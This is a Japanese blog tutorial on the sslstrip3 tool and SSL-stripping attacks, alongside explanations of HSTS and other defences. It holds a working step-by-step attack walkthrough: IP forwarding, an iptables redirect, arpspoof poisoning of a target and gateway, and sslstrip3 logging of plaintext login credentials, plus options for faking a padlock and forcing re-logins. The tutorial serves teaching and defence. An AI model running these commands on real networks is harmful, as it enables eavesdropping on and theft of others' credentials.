sslstrip3 徹底解説：使い方と注意点

インターネットのセキュリティは日々進化していますが、同時に攻撃手法も巧妙化しています。その中でも、中間者攻撃（Man-in-the-Middle attack, MITM）の一種であるSSLストリッピング（SSL Stripping）は、HTTPS通信を意図的にHTTP通信にダウングレードさせ、通信内容を盗聴・改ざんする危険な攻撃です。

sslstrip3 は、このSSLストリッピング攻撃を実演・検証するために開発されたツールです。元々はMoxie Marlinspike氏によって開発された sslstrip をPython 3に対応させ、機能拡張（プラグイン対応など）が施されたフォークです。

このブログ記事では、sslstrip3 の基本的な使い方、動作原理、そして最も重要な倫理的側面と法的注意点について詳しく解説します。このツールは教育および研究目的でのみ使用されるべきであり、許可なく他者のネットワークや通信に対して使用することは絶対に許されません。

🚨 重要：倫理的配慮と法的警告 🚨

警告

sslstrip3 は、中間者攻撃を実演するための強力なツールです。しかし、その能力ゆえに、悪用された場合の被害は甚大です。

違法行為の禁止: 自分自身が管理するネットワーク、または書面による明確な許可を得たネットワーク以外で sslstrip3 を使用することは、ほとんどの国や地域で法律により固く禁じられています。不正アクセス禁止法やプライバシーに関する法律に抵触し、厳しい罰則を受ける可能性があります。
倫理的責任: 他者の通信内容を盗聴・改ざんすることは、重大なプライバシー侵害であり、倫理的に決して許される行為ではありません。
教育・研究目的限定: このツールの使用は、純粋な教育目的、セキュリティ研究、または自身が管理するシステムに対するペネトレーションテストの範囲に限定してください。

このツールを使用した結果生じたいかなる法的問題や損害についても、当ブログおよび筆者は一切の責任を負いません。自己責任において、法律と倫理を厳守して使用してください。

前提条件

sslstrip3 を使用するには、いくつかのツールと環境が必要です。一般的に、Kali Linuxなどのペネトレーションテスト用OSには、これらのツールがプリインストールされているか、容易にインストールできます。

Linux環境: sslstrip3 や関連ツールは主にLinux環境で動作します。Debian系（Kali Linux, Ubuntuなど）が一般的です。
Python 3: sslstrip3 はPython 3で書かれています。
中間者攻撃ツール:
- ARP Spoofingツール: ターゲットの通信を攻撃者のマシン経由にするために必要です。代表的なツールとして arpspoof (dsniffパッケージに含まれる) や bettercap などがあります。
- IPフォワーディング設定: 攻撃者のマシンがルーターのようにパケットを転送できるように設定する必要があります。
- iptables (またはnftables): 通信をsslstrip3が待ち受けるポートにリダイレクトするために必要です。
Twistedライブラリ: Pythonのイベント駆動型ネットワークエンジンライブラリであり、sslstrip3 が依存しています。

これらのツールや設定は、中間者攻撃を実行するための基本的な要素です。

インストール方法

sslstrip3 は、多くの場合、Kali Linuxなどのディストリビューションに含まれているか、リポジトリからインストール可能です。しかし、常に最新版を使いたい場合や、ディストリビューションに含まれていない場合は、GitHubから直接ソースコードを取得してインストールするのが一般的です。

以下は、GitHubからクローンしてインストールする手順の例です（実行にはGitとPython 3が必要です）。


# 1. リポジトリをクローンする (mh4x0f/sslstrip3 を例とする)
git clone https://github.com/mh4x0f/sslstrip3.git

# 2. クローンしたディレクトリに移動する
cd sslstrip3

# 3. 必要なPythonライブラリをインストールする (依存関係は環境により異なる場合がある)
# 通常、Twistedが必要
pip install twisted

# 4. setup.py を使ってインストールする (管理者権限が必要な場合がある)
sudo python setup.py install

注意: リポジトリのURLやインストール手順は変更される可能性があります。最新の情報は、sslstrip3 の公式または信頼できるソース（例: GitHubリポジトリ）で確認してください。

Kali Linuxなどの場合は、まずパッケージマネージャで検索してみることをお勧めします。


# Kali Linux でのパッケージ検索例
apt search sslstrip

# もしパッケージが存在すればインストール (sslstrip3 という名前ではない可能性もある)
sudo apt update
sudo apt install sslstrip # または関連するパッケージ名

古いバージョンの sslstrip (Python 2ベース) と混同しないように注意してください。

基本的な使い方とオプション

sslstrip3 はコマンドラインから実行します。基本的な書式は以下の通りです。


sslstrip3 [オプション]

主なオプションを以下に示します。詳細や最新のオプションについては、sslstrip3 -h または sslstrip3 --help を実行して確認してください。

オプション	省略形	説明
`--listen=<ポート番号>`	`-l`	`sslstrip3` が待ち受けるポート番号を指定します。デフォルトは `10000` です。iptablesなどでこのポートにトラフィックをリダイレクトする必要があります。
`--write=<ファイル名>`	`-w`	傍受した情報を記録するログファイルを指定します（オプション）。指定しない場合、標準出力に表示されることがあります。
`--post`	`-p`	SSL通信のうち、POSTリクエストのみをログに記録します（デフォルトの動作であることが多い）。認証情報などが含まれやすいです。
`--ssl`	`-s`	サーバーとの間のすべてのSSLトラフィックをログに記録します。
`--all`	`-a`	サーバーとの間のすべてのSSLおよびHTTPトラフィックをログに記録します。
`--favicon`	`-f`	セキュアなリクエスト（本来HTTPSであるべきリクエスト）に対して、鍵マークのファビコン（Favicon）を模倣して表示させ、ユーザーにHTTPS接続であるかのように誤認させようとします。
`--killsessions`	`-k`	進行中のセッションを強制的に切断しようとします。これにより、ユーザーに再ログインを促し、その際の認証情報を傍受する機会を増やす可能性があります。

実践的な使用例（ARP Spoofing と iptables の連携）

ここでは、sslstrip3 を使ったSSLストリッピング攻撃の典型的なシナリオをステップごとに解説します。繰り返しますが、これは教育目的の説明であり、許可なく実行することは絶対に禁止です。

実験環境について: この手順は、自身で管理・構築した仮想環境など、完全に隔離され、他者に影響を与えない閉じたネットワーク内で行う必要があります。

攻撃者マシン: Kali Linux (IP: 192.168.1.100) – sslstrip3, arpspoof, iptables を実行
ターゲットマシン: Windows (IP: 192.168.1.150) – 被害者役
ゲートウェイ: ルーター (IP: 192.168.1.1)

IPアドレスやインターフェース名（eth0など）は、ご自身の環境に合わせて読み替えてください。

ステップ1: IPフォワーディングの有効化

攻撃者マシンがルーターのようにパケットを転送できるように、IPフォワーディングを有効にします。


# 一時的にIPフォワーディングを有効化 (再起動すると元に戻る)
sudo sysctl -w net.ipv4.ip_forward=1
# または
# echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# 設定を確認
cat /proc/sys/net/ipv4/ip_forward # 出力が "1" ならOK

ステップ2: iptables によるポートリダイレクション設定

ターゲットマシンから送られてくるHTTPトラフィック（TCPポート80）を、sslstrip3 が待ち受けるポート（ここではデフォルトの10000）にリダイレクトします。


# 既存のルールを確認・必要であれば削除 (環境に応じて注意)
# sudo iptables -t nat -F

# ポート80宛のTCPパケットをポート10000にリダイレクトするルールを追加
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# 設定を確認
sudo iptables -t nat -L PREROUTING -n -v

注意: iptables の設定は複雑であり、誤るとネットワーク接続に問題が生じる可能性があります。既存のルールとの競合にも注意が必要です。実験後は、sudo iptables -t nat -D PREROUTING [ルール番号] や sudo iptables -t nat -F などでルールを削除・初期化することを忘れないでください。

ステップ3: ARP Spoofing の実行

arpspoof を使用して、ターゲットマシンとゲートウェイの両方に対してARPポイズニングを行います。これにより、両者の通信が攻撃者のマシンを経由するようになります。2つのターミナルを開いて、それぞれ以下のコマンドを実行します。


# ターミナル1: ターゲットマシンに「自分がゲートウェイだ」と騙す
sudo arpspoof -i eth0 -t 192.168.1.150 192.168.1.1

# ターミナル2: ゲートウェイに「自分がターゲットマシンだ」と騙す
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.150

-i eth0 は使用するネットワークインターフェースを指定します。-t [ターゲットIP] [偽装するIP] の形式です。これらのコマンドは実行し続ける必要があります。停止するとARPテーブルが元に戻り、中間者攻撃は終了します。（Ctrl+Cで停止）

ステップ4: sslstrip3 の実行

別の新しいターミナルを開き、sslstrip3 を起動します。


# sslstrip3 をデフォルトポート(10000)で起動し、ログをファイルに書き込む
sudo sslstrip3 -l 10000 -w sslstrip_log.txt
# または、ログをファイルに書き込まず標準出力で確認する場合
# sudo sslstrip3 -l 10000

これで準備は完了です。ターゲットマシン（Windows）でWebブラウザを開き、HSTSが有効になっていないHTTPSサイト（ログインページなど）にアクセスしてみてください。

ステップ5: 結果の確認

もしSSLストリッピングが成功すれば、ターゲットマシンのブラウザではURLが http:// で表示され、鍵マークも表示されないはずです（-f オプションを使っている場合は偽の鍵マークが表示されるかもしれません）。

攻撃者マシンの sslstrip3 を実行しているターミナルや、-w オプションで指定したログファイル (sslstrip_log.txt) には、傍受されたHTTP通信の内容（例えば、POSTリクエストで送信されたユーザー名やパスワードなど）が平文で記録されている可能性があります。

ステップ6: クリーンアップ

実験が終了したら、必ず以下のクリーンアップ作業を行ってください。


# 1. arpspoof を実行しているターミナルを Ctrl+C で停止する (両方)

# 2. sslstrip3 を実行しているターミナルを Ctrl+C で停止する

# 3. iptables のルールを削除する (追加したルール番号を指定するか、-Fで全削除)
# 例: ルール番号が1の場合
# sudo iptables -t nat -D PREROUTING 1
# または全削除 (他のルールに影響ないか注意)
# sudo iptables -t nat -F

# 4. IPフォワーディングを無効に戻す (必要であれば)
sudo sysctl -w net.ipv4.ip_forward=0
# または
# echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward

この一連の流れは、SSLストリッピング攻撃の基本的な原理を示すものです。実際の攻撃はさらに複雑な手法を組み合わせることがあります。

sslstrip3 はどのように機能するのか？

SSLストリッピング攻撃（sslstrip3が行うこと）の基本的な仕組みは以下の通りです。

中間者攻撃の確立: まず、攻撃者はARPスプーフィングなどの手法を用いて、ターゲットユーザーとWebサーバー間の通信経路に割り込みます（中間者となる）。
HTTPリクエストの監視: ユーザーがブラウザにURL（例: example.com）を入力すると、通常はまずHTTP（http://example.com）で接続試行が行われます。攻撃者はこのリクエストを傍受します。
HTTPSへのリダイレクトの傍受と改ざん: WebサーバーがHTTPSを強制する場合、通常はHTTPリクエストに対してHTTPS版のURL（https://example.com）へリダイレクトする応答（HTTPステータスコード 301 や 302）を返します。攻撃者はこのリダイレクト応答を傍受し、ユーザーにはHTTPのまま応答を転送します。同時に、攻撃者自身はWebサーバーとの間で正規のHTTPS接続を確立します。
通信のプロキシ化: これ以降、ユーザーのブラウザは攻撃者に対しては平文のHTTPで通信し、攻撃者はその内容を盗聴・改ざんした後、Webサーバーに対しては暗号化されたHTTPSで通信を中継します。サーバーからの応答も同様に、攻撃者がHTTPSで受け取り、復号して内容を確認・改ざんした後、ユーザーにはHTTPで返します。
HTTPSリンクの書き換え: 攻撃者は、サーバーから送られてくるHTMLコンテンツ内のhttps://で始まるリンクをhttp://に書き換えてからユーザーに転送します。これにより、ユーザーがページ内のリンクをクリックしても、継続してHTTP通信が行われるように仕向けます。

結果として、ユーザーは自分が暗号化されていないHTTP通信を行っていることに気づきにくく、攻撃者は通信内容を自由に覗き見たり、改ざんしたりすることが可能になります。😥

sslstrip3 の限界：HSTSの壁

SSLストリッピングは強力な攻撃手法ですが、万能ではありません。最大の対抗策の一つが HSTS (HTTP Strict Transport Security) です。

HSTS (HTTP Strict Transport Security) とは？

HSTSは、Webサーバーがブラウザに対して「このサイトはHTTPSでしかアクセスしてはいけない」と宣言するためのセキュリティ機構（HTTPレスポンスヘッダー）です。

一度、ブラウザがHSTSヘッダー（Strict-Transport-Security）を受け取ると、指定された期間（max-ageで定義）、そのドメインへのアクセスは強制的にHTTPSで行われるようになります。ユーザーがHTTPでアクセスしようとしても、ブラウザ内部で自動的にHTTPSに変換してから接続を試みます。


HTTP/1.1 200 OK
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Type: text/html

max-age: ブラウザがHSTSポリシーを記憶する期間（秒単位）。例: 31536000秒 = 1年。
includeSubDomains: (オプション) このポリシーを全てのサブドメインにも適用します。
preload: (オプション) このドメインをブラウザのHSTSプリロードリストに登録申請するためのフラグ。プリロードリストに含まれると、ユーザーが一度もサイトにアクセスしたことがなくても、最初からHTTPS接続が強制されます。

HSTSが有効なサイトに対しては、sslstrip3 による攻撃は基本的に失敗します。なぜなら：

ブラウザがHSTSポリシーを記憶している場合、攻撃者がHTTPへのリダイレクトを偽装しても、ブラウザはそれを無視し、強制的にHTTPSで接続しようとします。
攻撃者は正規のSSL証明書を持っていないため、ブラウザは証明書エラーを検出し、通常は接続を中止するか、強い警告を表示します。これにより、ユーザーは異常に気づくことができます。
HSTSプリロードリストに登録されているサイトの場合、ユーザーが初めてアクセスする場合でもHTTPSが強制されるため、SSLストリッピングの最初のステップ（HTTP接続の傍受）自体が困難になります。

したがって、HSTSはSSLストリッピングに対する非常に効果的な防御策となります。🛡️

他にも、証明書ピンニング（特定の証明書のみを信頼する仕組み）などが実装されている場合も、sslstrip3 の攻撃は成功しにくくなります。

SSLストリッピング攻撃への対策

ユーザーとして、またWebサイト管理者として、SSLストリッピング攻撃から身を守るためには、いくつかの対策を講じることが重要です。

ユーザー側の対策

URLと鍵マークの確認: ブラウザのアドレスバーを常に確認し、重要な情報（ログイン情報、個人情報、クレジットカード情報など）を入力する際は、URLがhttps://で始まっており、鍵マークが表示されていることを確認する習慣をつけましょう。ただし、鍵マークは偽装される可能性もあるため、これだけに頼るのは危険です。
HSTS対応ブラウザの使用: 最新の主要なWebブラウザ（Chrome, Firefox, Safari, Edgeなど）はHSTSに対応しています。常に最新版を使用しましょう。
公共Wi-Fiの利用は慎重に: カフェや空港などの公共Wi-Fiは、中間者攻撃のリスクが高い環境です。機密性の高い通信を行う際は、信頼できるVPN（Virtual Private Network）を使用することを強く推奨します。VPNは通信経路全体を暗号化するため、中間者攻撃のリスクを大幅に低減できます。
ブラウザの警告を無視しない: 「この接続ではプライバシーが保護されません」といった証明書に関する警告が表示された場合、安易に接続を続行せず、理由を確認するか、接続を中止してください。
HTTPS Everywhereなどの拡張機能: 可能であれば、HTTPS接続を強制するブラウザ拡張機能（例: HTTPS Everywhere）の利用も有効な場合があります。（ただし、HSTSが普及した現在では、その必要性は低下しています）

Webサイト管理者側の対策

HSTSの実装: これが最も効果的な対策です。Webサーバーを設定し、Strict-Transport-Securityヘッダーを送信するようにします。max-ageを十分に長く設定し（推奨は2年）、可能であればincludeSubDomainsとpreloadオプションも使用して、HSTSプリロードリストへの登録を目指しましょう。 (hstspreload.org)
常時SSL/TLS化: Webサイト全体（すべてのページ、画像、スクリプト、CSSファイルなど）をHTTPSで提供します。HTTPのコンテンツが混在している（Mixed Content）と、セキュリティレベルが低下し、攻撃の足がかりを与えてしまう可能性があります。
HTTPからHTTPSへのリダイレクト: HTTPでのアクセスがあった場合は、必ず恒久的リダイレクト（HTTPステータスコード 301）を使用してHTTPSバージョンへリダイレクトするようにサーバーを設定します。
セキュア属性付きCookie (Secure Flag): CookieにSecure属性を付与します。これにより、そのCookieはHTTPS接続でのみ送信されるようになり、HTTP接続で盗まれるのを防ぎます。
最新のTLSバージョンの使用: 古いSSL/TLSバージョン（SSLv3, TLS 1.0, TLS 1.1）には脆弱性が存在します。TLS 1.2以上、できればTLS 1.3を使用するようにサーバーを設定します。

これらの対策を組み合わせることで、SSLストリッピング攻撃のリスクを大幅に減らすことができます。🔒

まとめ

sslstrip3 は、SSLストリッピング攻撃のメカニズムを理解し、その危険性を学ぶための教育・研究ツールです。HTTPS通信をHTTPにダウングレードさせることで、中間者攻撃を可能にします。

しかし、その使用には重大な法的・倫理的リスクが伴います。決して許可なく他者のネットワークや通信に対して使用してはなりません。

幸いなことに、HSTSという強力な対抗策が存在し、Webサイト管理者とユーザー双方の適切な対策によって、SSLストリッピング攻撃のリスクは大幅に軽減できます。Webサイト管理者はHSTSの導入と常時SSL化を徹底し、ユーザーは安全なブラウジング習慣を身につけることが重要です。

セキュリティ技術は常に進化しています。攻撃手法を学ぶことは、より効果的な防御策を講じるための第一歩ですが、その知識は常に責任ある方法で使用されなければなりません。✅